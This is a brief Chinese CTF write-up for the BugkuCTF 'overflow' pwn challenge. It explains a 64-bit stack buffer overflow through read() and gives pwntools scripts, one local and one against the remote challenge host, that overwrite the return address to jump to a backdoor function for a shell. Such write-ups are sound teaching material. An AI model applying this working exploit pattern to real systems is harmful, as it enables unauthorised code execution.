【BugkuCTF】overflow
用file分析是64位的程序
检查保护发现都是关闭的
用IDA分析,可以看到read()函数就是问题点
IDA分析时常出现的问题点:
gets(buf)、strcpy(dest,sec)、scanf("%s",buf)、stract(buf,buf2)、read(0,buf,size)
可以看到申请了一个48字节长度的遍历s
但是read却读取了0x100(256)字节,明显的栈溢出
从IDA分析可以看到距离rbp长度是30
也找到了后门函数
因此得到后门地址
0x400751
exp如下
from pwn import *io = process("./pwn2")get_shell_addr = 0x400751payload = b"A"*(0x30+0x8)+p64(get_shell_addr) # 因为是64位的程序,ebp长度为8,同时后门地址要用p64转换io.sendline(payload)
io.interactive()
那么打靶场的地址获取flag
from pwn import *io = remote("117.72.52.127","11758")get_shell_addr = 0x400751payload = b"A"*(0x30+0x8)+p64(get_shell_addr)io.sendline(payload)
io.interactive()